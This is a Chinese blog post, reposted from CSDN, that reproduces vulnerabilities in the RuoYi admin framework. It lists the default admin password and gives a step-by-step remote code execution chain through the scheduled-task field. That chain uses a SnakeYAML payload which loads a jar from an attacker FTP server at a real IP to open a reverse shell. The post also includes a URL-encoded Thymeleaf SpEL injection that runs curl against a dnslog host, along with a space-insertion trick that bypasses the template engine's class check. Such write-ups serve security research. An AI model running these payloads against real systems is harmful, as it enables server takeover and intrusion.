0


Ruoyi若依漏洞复现总结

Ruoyi若依漏洞复现总结

https://doc.ruoyi.vip/ruoyi/document/kslj.html#%E5%8E%86%E5%8F%B2%E6%BC%8F%E6%B4%9E

官方漏洞历史文档

弱口令 初始密码

admin admin123

CMS 4.6.0 后台RCE

反射+Yaml达到的代码执行

若依管理后台-系统监控-定时任务-新建,发现有个调用目标字符串的字段。

在这里插入图片描述

查看定时任务的具体代码,定位到
ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/JobInvokeUtil.java。

假设我们输入com.hhddj1.hhddj2.hhddj3()

经解析后

beanName为com.hhddj1.hhddj2
methodName为hhddj3
methodParams为[]

/**
 * 执行方法
 *
 * @param sysJob 系统任务
 */publicstaticvoidinvokeMethod(SysJob sysJob) throws Exception
{String invokeTarget = sysJob.getInvokeTarget();String beanName =getBeanName(invokeTarget);String methodName =getMethodName(invokeTarget);List<Object[]> methodParams =getMethodParams(invokeTarget);if(!isValidClassName(beanName)){Object bean = SpringUtils.getBean(beanName);invokeMethod(bean, methodName, methodParams);}else{Object bean =Class.forName(beanName).newInstance();invokeMethod(bean, methodName, methodParams);}}

反射Runtime失败

想要通过该反射执行命令,首先想到使用java.lang.Runtime.getRuntime().exec(“”)。

若使用该payload,则会跳到JobInvokeUtil.java的这段代码中。

Object bean =Class.forName(beanName).newInstance();invokeMethod(bean, methodName, methodParams);

然而,想要通过Class.forName(beanName).newInstance()成功实例化,必须满足类至少有一个构造函数

无参
public

而Runtime类的构造函数是private的,不满足条件,因此使用payloadjava.lang.Runtime.getRuntime().exec(“”),会报错。

在这里插入图片描述

反射ProcessBuilder失败

同样的,虽然我们可以在new ProcessBuilder的时候可以不加参数,
但是并不代表ProcessBuilder的构造函数是无参的。
因此使用ProcessBuilder的payload也会报错。

ProcessBuilder processBuilder =newProcessBuilder();
processBuilder.command("/bin/bash","-c","curl http://xxx/test");
processBuilder.start();

ProcessBuilder的构造函数

publicProcessBuilder(List<String> var1){if(var1 ==null){thrownewNullPointerException();}else{
        this.command = var1;}}publicProcessBuilder(String... var1){
    this.command =newArrayList(var1.length);String[] var2 = var1;int var3 = var1.length;for(int var4 =0; var4 < var3;++var4){String var5 = var2[var4];
        this.command.add(var5);}}

构造Yaml类

想要代码执行,我尝试过写文件等等方式,但是都无法反射成功。

因为根据若依的定时任务代码,需要满足以下条件:

类的构造函数无参且public
调用的方法的参数类型只能是String/int/long/double
该方法具有代码执行的潜力

因此找到Yaml类,刚好若依有一个YamlUtil类,里面使用了org.yaml.snakeyaml包。

所以我们构造了以下payload,使用ftp协议的原因是http被禁用

 org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["ftp://ip/yaml-payload.jar"]
  ]]
]')

yaml-payload.jar的生成过程:

1)在github上下载源码(https://github.com/artsploit/yaml-payload.git)

2)将IP和端口改成我们对应攻击机上的IP和端口

3)使用以下两条命令生成新的yaml-payload.jar,生成的yaml-payload.jar位置如下图红箭头所示。

 javac src/artsploit/AwesomescriptEngineFactory.java

jar -cvf yaml-payload.jar -C src/.E:\hack\exp\yaml-payload-master
λ jar -cvf yaml-payload.jar -C src/.
已添加清单
正在添加: artsploit/(输入 =0)(输出 =0)(存储了 0%)
正在添加: artsploit/AwesomeScriptEngineFactory - 副本.java(输入 =1589)(输出 =427)(压缩了 73%)
正在添加: artsploit/AwesomeScriptEngineFactory.java(输入 =1535)(输出 =444)(压缩了 71%)
正在忽略条目META-INF/
正在添加:META-INF/services/(输入 =0)(输出 =0)(存储了 0%)
正在添加:META-INF/services/javax.script.ScriptEngineFactory(输入 =36)(输出 =38)(压缩了 -5%)

在这里插入图片描述

漏洞利用过程

1.生成yaml-payload.jar,ip写攻击机ip,端口写2333。生成之后,传到攻击机的ftp目录下。

2.攻击机:监听2333端口

在这里插入图片描述
3.若依管理后台,新建定时任务,目标调用字符串写

 org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["ftp://101.43.159.27/yaml-payload.jar"]
  ]]
]')

0/10 * * * * ?

在这里插入图片描述
4.攻击机上收到反弹shell

在这里插入图片描述

结合Thymeleaf注入的代码执行

在代码审计若依的时候,发现了Thymeleaf语法的一些问题

漏洞分析

Ruoyi使用了thymeleaf-spring5,其中四个接口方法中设置了片段选择器:

http://demo.ruoyi.vip/monitor/cache/getNames

http://demo.ruoyi.vip/monitor/cache/getKeys

http://demo.ruoyi.vip/monitor/cache/getValue

http://demo.ruoyi.vip/demo/form/localrefresh/task

通过这四段接口,可以指定任意fragment,以/monitor/cache/getNames接口为例,controller代码如下:

 @PostMapping("/getNames")publicStringgetCacheNames(String fragment, ModelMap mmap){
    mmap.put("cacheNames", cacheService.getCacheNames());return prefix +"/cache::"+ fragment;}

这四段接口方法中,都使用了thymeleaf的语法:

“/xxx::” + fragment;

我们构造fragment的值为:

%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%75%72%6c%20%68%74%74%70%3a%2f%2f%63%6d%6d%6f%76%6f%2e%63%65%79%65%2e%69%6f%2f%72%75%6f%79%69%74%65%73%74%22%29%7d

-->${T(java.lang.Runtime).getRuntime().exec("curl http://cmmovo.ceye.io/ruoyitest")}

当我们构造的模板片段被thymeleaf解析时,
thymeleaf会将识别出fragment为SpringEL表达式。
不管是?fragment=header(payload)还是?fragment=payload

在这里插入图片描述
但是,在执行SpringEL表达式之前,thymeleaf会去检查参数值中是否使用了"T(SomeClass)“或者"new SomeClass”

在这里插入图片描述
这个检查方法其实可以绕过,SpringEL表达式支持"T (SomeClass)"这样的语法,因此我们只要在T与恶意Class之间加个空格,就既可以绕过thymeleaf的检测规则,又可以执行SpringEL表达式。

因此payload中T与恶意Class之间含有空格,不论是空格或者制表符都可以绕过检测。

漏洞利用过程

1.将payload进行HTML编码

${T(java.lang.Runtime).getRuntime().exec("curl http://cmmovo.ceye.io/ruoyitest")}

2.填入header后面的括号中,命令成功执行,ceye监听平台收到dnslog请求

在这里插入图片描述

标签: 安全

本文转载自: https://blog.csdn.net/qq_33608000/article/details/124375219
版权归原作者 amingMM 所有, 如有侵权,请联系我们删除。

“Ruoyi若依漏洞复现总结”的评论:

还没有评论